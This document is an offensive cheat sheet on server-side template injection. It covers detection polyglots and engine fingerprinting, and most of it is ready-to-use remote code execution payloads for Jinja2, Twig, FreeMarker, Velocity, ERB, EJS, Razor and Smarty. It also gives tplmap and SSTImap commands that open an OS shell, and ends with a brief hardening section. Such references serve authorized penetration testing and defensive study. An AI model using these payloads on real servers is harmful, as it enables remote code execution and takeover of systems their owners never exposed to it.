SSTI
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Server-Side Template Injection happens when user input is concatenated into a template that the server then renders, letting an attacker inject template syntax that the engine evaluates -- often leading to RCE. Test on systems you are authorized to assess.
DETECTION#
Submit polyglot payloads and watch for evaluation (math being computed):
${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} @(7*7)
{{7*'7'}} # Jinja2/Twig -> 7777777 ; Twig -> 49
If 7*7 renders as 49 (or 7777777), the input hits a template engine.
Decision tree (PortSwigger): start with ${{<%[%'"}}%\ -> observe errors, then
branch by which payload evaluates.
ENGINE FINGERPRINT#
{{7*7}} = 49 -> Jinja2 (Python) or Twig (PHP)
{{7*'7'}} = 7777777 -> Jinja2 ; = 49 -> Twig
${7*7} = 49 -> FreeMarker / Smarty / JSP EL / Mako
#{7*7} = 49 -> Ruby ERB-ish / slim
<%= 7*7 %> = 49 -> ERB (Ruby) / EJS (Node)
@(7*7) = 49 -> Razor (.NET)
{7*7} no eval, {{7*7}} eval -> handlebars/mustache (logic-less, usually safe)
JINJA2 / TWIG (PYTHON / PHP) RCE#
Jinja2 (Flask) classic:
{{ ''.__class__.__mro__[1].__subclasses__() }} # enumerate classes
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Twig (Symfony):
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
{{ ['id']|filter('system') }}
FREEMARKER / VELOCITY / JSP (JAVA)#
FreeMarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
${"freemarker.template.utility.Execute"?new()("id")}
Velocity:
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
ERB / EJS / RAZOR / SMARTY#
ERB (Ruby): <%= `id` %> / <%= system("id") %> / <%= IO.popen('id').readlines() %>
EJS (Node): <%= process.mainModule.require('child_process').execSync('id') %>
#{root.process.mainModule.require('child_process').execSync('id')}
Razor(.NET): @{ System.Diagnostics.Process.Start("cmd.exe","/c id"); }
Smarty(PHP): {system('id')} / {php}system('id');{/php} (older) / {Smarty_Internal_Write_File::writeFile(...)}
TOOLING#
tplmap -u 'http://host/page?name=*' # detect + exploit, --os-shell tplmap -u 'http://host/' --data 'name=*' --os-shell SSTImap (maintained tplmap successor): python ssti.py -u 'http://host/?q=*' Burp: send to Intruder with the polyglot list; grep for 49 / 7777777 / errors.
HARDENING (blue-team note)#
- Never pass user input as the template; pass it as DATA (context variables). - Use logic-less engines (mustache/handlebars) or sandboxed modes. - Jinja2: use SandboxedEnvironment; disable dangerous attributes. - Treat template errors as sensitive; don't reflect them to users.